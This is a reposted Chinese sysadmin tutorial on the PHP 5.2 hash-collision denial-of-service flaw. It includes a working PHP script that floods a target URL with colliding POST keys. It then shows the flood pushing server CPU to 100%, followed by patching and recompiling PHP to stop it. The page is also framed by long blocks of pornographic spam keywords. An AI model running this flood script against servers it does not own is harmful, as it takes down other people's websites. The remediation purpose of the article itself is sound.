亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 服務器 > Web服務器 > 正文

PHP Hash沖突導致 CPU 100%的完全解決方法

2024-09-01 13:43:05
字體:
來源:轉載
供稿:網友
最近,一直忙于編寫《2012自學CCNP路由與交換課程》,目前寫到了第四章了,所以沒有時間來處理linux平臺下的工作,今天抽空研究了一個前不久,出的一個BUG,PHP 5.2/5.3 Hash漏洞,造成一臺機器就可以DDOS攻擊互聯網上的PHP網站。

我們先看下環境,這個網站是LAMP架構,PHP版本是5.2.17。

PHP Hash沖突導致 CPU 100%的完全解決方法

PHP未打補丁前,服務器CPU情況,目前是2.1%的使用率。

PHP Hash沖突導致 CPU 100%的完全解決方法

    我們在這臺web服務器上編寫一個PHP程序,目的是要測試機去Hash它,以便故障重現。
程序語言如下:
<?php
echo $showtime=date("Y-m-d H:i:s");
?>
執行后的效果是取當前服務器的時間。

PHP Hash沖突導致 CPU 100%的完全解決方法

    找臺有PHP環境的測試機器,這臺機器我用虛擬機,里面有LAMP環境。進/usr/local/apache/htdocs目錄,寫一PHP網頁,程序語言如下:
[root@blog htdocs]# Vi hash.php

<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}

$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>

   url地址,為你要作測試的目標機,i<100,表示最多100個并發。手工執行hash.php,進行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php

   在web服務器端,我們去看服務器的資源利用情況,CPU是97.6%,看樣子單臺虛擬機,拿100并發去Hash,就足夠把web服務器的CPU利用率升至100%。

PHP Hash沖突導致 CPU 100%的完全解決方法


    Cpu到了100%,網站是什么情況呢。我們再瀏覽該臺web服務器,點網站上面的鏈接,反應正常,估計是這臺web服務器本身沒有一點壓力,所以看不出來。把并發量調到10000,再測下,剛才是100并發。

PHP Hash沖突導致 CPU 100%的完全解決方法

刷新checktime.php頁面,可以很快顯示,網站正常。但此時web服務器cpu已是100%

PHP Hash沖突導致 CPU 100%的完全解決方法


   結論,我是用個人博客作目標機,因為個人博客,目前只有幾個人訪問,沒有壓力,所以即使,通過10000并發的Hash,CPU上到100%,個人博客打開的速度,還是相當快。

打上補丁,我們再觀察一下。
1、先查下以后在搭建環境時,PHP的編譯參數

PHP Hash沖突導致 CPU 100%的完全解決方法

2、到網上去下載一個PHP補丁,下載地址為:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars

PHP Hash沖突導致 CPU 100%的完全解決方法


3、根據個人平臺的版本號,點擊進去,注意,不要在它上面點右鍵,另存為,否則你down下的是一個html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新彈出的頁面點“raw”,就會打開這個補丁文件。

PHP Hash沖突導致 CPU 100%的完全解決方法

PHP Hash沖突導致 CPU 100%的完全解決方法


   把里面的內容復制,我這里只截了它一小部分。然后在web服務器上新建一個文件,php-5.2.17-max-input-vars.patch,里面就是剛復制的。

4、進php的原始安裝目錄,我這里環境是/opt/soft/php-5.2.17。先把原來已編譯好的一些,清理一下。

PHP Hash沖突導致 CPU 100%的完全解決方法


5、打補丁并重新編譯一下php

PHP Hash沖突導致 CPU 100%的完全解決方法

再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平臺是make,每個環境不一樣
再make install

6、重啟一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

訪問一下,web服務器的phpinfo.php,查看PHP環境有沒有變化。大家可以在最上面看到,PHP版本后帶了個P1。這個還不夠,我們再用Hash碰撞一下,看cpu會不會上100%。
PHP Hash沖突導致 CPU 100%的完全解決方法


在測試機上,還是取并發10000,去Hash web服務器。發現web服務器的CPU一直保持在0.5%。

PHP Hash沖突導致 CPU 100%的完全解決方法

 

問題解決!

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产一区二区三区直播精品电影| 91极品视频在线| 色偷偷av一区二区三区乱| 欧美日韩国产影院| 精品电影在线观看| 国产精品专区h在线观看| 国产不卡一区二区在线播放| 亚洲一区制服诱惑| 亚洲第一视频在线观看| 国产小视频国产精品| 久久视频在线观看免费| 91爱爱小视频k| 国产精品香蕉av| 亚洲精品动漫久久久久| 成人字幕网zmw| 91福利视频在线观看| 亚洲老头同性xxxxx| 亚洲2020天天堂在线观看| 亚洲国产高清自拍| 最近2019年好看中文字幕视频| 亚洲字幕在线观看| 国产精品露脸av在线| 色综久久综合桃花网| 亚洲国产精品久久| 亚洲aaaaaa| 久久久亚洲欧洲日产国码aⅴ| 日本精品中文字幕| 精品国产福利在线| 国产欧美日韩免费| 欧美激情在线一区| 日韩色av导航| 中文精品99久久国产香蕉| 欧美一区二区影院| 亚洲欧美成人一区二区在线电影| 日韩av免费在线看| 欧美性xxxx18| 一区二区三区日韩在线| 日韩激情av在线免费观看| 亚洲欧洲在线观看| 国产成人91久久精品| 久久中国妇女中文字幕| 久久免费精品日本久久中文字幕| 亚洲午夜女主播在线直播| 动漫精品一区二区| 91产国在线观看动作片喷水| 国产成人一区二区三区电影| 91精品在线观| 日韩一级黄色av| 精品偷拍一区二区三区在线看| 久久久国产精品一区| 国内精久久久久久久久久人| 久久国产精品久久久久久久久久| 国产丝袜一区二区三区免费视频| 91精品国产综合久久香蕉的用户体验| 亚洲最大福利视频网| 国产成人一区三区| 日韩精品一区二区三区第95| 国产拍精品一二三| 91精品久久久久久| 亚洲综合精品一区二区| 国产色婷婷国产综合在线理论片a| 亚洲肉体裸体xxxx137| 亚洲第一网站男人都懂| 国产精品嫩草影院一区二区| 成人免费视频97| 色综合久久中文字幕综合网小说| 欧美日韩国产精品专区| 欧美日韩亚洲精品一区二区三区| 日韩欧美极品在线观看| 91po在线观看91精品国产性色| 国产精品毛片a∨一区二区三区|国| 琪琪第一精品导航| 久久在精品线影院精品国产| 日韩精品在线播放| 日韩精品免费在线| 亚洲精品www| 欧美乱妇40p| 欧美性生交xxxxx久久久| 91精品国产自产91精品| 国产97在线观看| 成人精品视频在线| 欧美性xxxxx| 亚洲老板91色精品久久| 欧美中文字幕视频| 成人激情视频在线播放| 在线精品视频视频中文字幕| 欧美一区深夜视频| 国产精品白嫩美女在线观看| 欧美老少做受xxxx高潮| 久久久精品久久久久| 国产综合久久久久久| 欧美成人性色生活仑片| 久久五月天综合| www.久久久久久.com| 亚洲色图校园春色| 亚洲国产成人在线视频| www欧美日韩| 亚洲美女福利视频网站| 中文字幕精品一区二区精品| 亚洲欧美国产视频| 亚洲欧美一区二区三区情侣bbw| 国产噜噜噜噜噜久久久久久久久| 在线观看国产精品淫| 一区二区三区视频在线| 亚洲国产精品国自产拍av秋霞| 国产精品精品视频| 日韩精品一二三四区| 国产成人在线一区二区| 国产精品久久久久av免费| 黑人与娇小精品av专区| 国产精品99久久99久久久二8| 亚洲欧美日韩在线一区| 97精品视频在线观看| 91久久国产精品| 国产不卡一区二区在线播放| 久久精品国产清自在天天线| 亚洲欧美一区二区三区久久| 国产精品96久久久久久| 欧美激情一区二区三区成人| 国产精品久久久久久亚洲调教| 欧洲午夜精品久久久| 亚洲美女视频网站| 亚洲精品国偷自产在线99热| 91久久精品一区| 国产精品久久婷婷六月丁香| 77777少妇光屁股久久一区| 国产精品国模在线| 91久久国产婷婷一区二区| 日本伊人精品一区二区三区介绍| 国产精品久久久| 日韩中文字幕欧美| 国产亚洲一级高清| 搡老女人一区二区三区视频tv| 欧美视频一区二区三区…| 亚洲欧美在线一区二区| 在线看福利67194| 亚洲自拍偷拍在线| 亚洲深夜福利网站| 欧美一级视频免费在线观看| 国产成人鲁鲁免费视频a| 精品国产网站地址| 国产伦精品一区二区三区精品视频| 中文国产成人精品| 精品国产91久久久久久老师| 亚洲国产欧美久久| 成人免费高清完整版在线观看| 亚洲无av在线中文字幕| 亚洲成人中文字幕| 91理论片午午论夜理片久久| 九九热这里只有精品免费看| 美女扒开尿口让男人操亚洲视频网站| 国产盗摄xxxx视频xxx69| 日本高清久久天堂| 国产一区二区三区网站| 国产日产欧美a一级在线| 国产精品高潮呻吟视频| 欧美高清视频在线播放| 亚洲精品网站在线播放gif| 国产精品亚洲一区二区三区| 疯狂做受xxxx欧美肥白少妇| 国产精品美女久久| 国产区精品视频| 亚洲免费小视频| 欧美激情xxxx|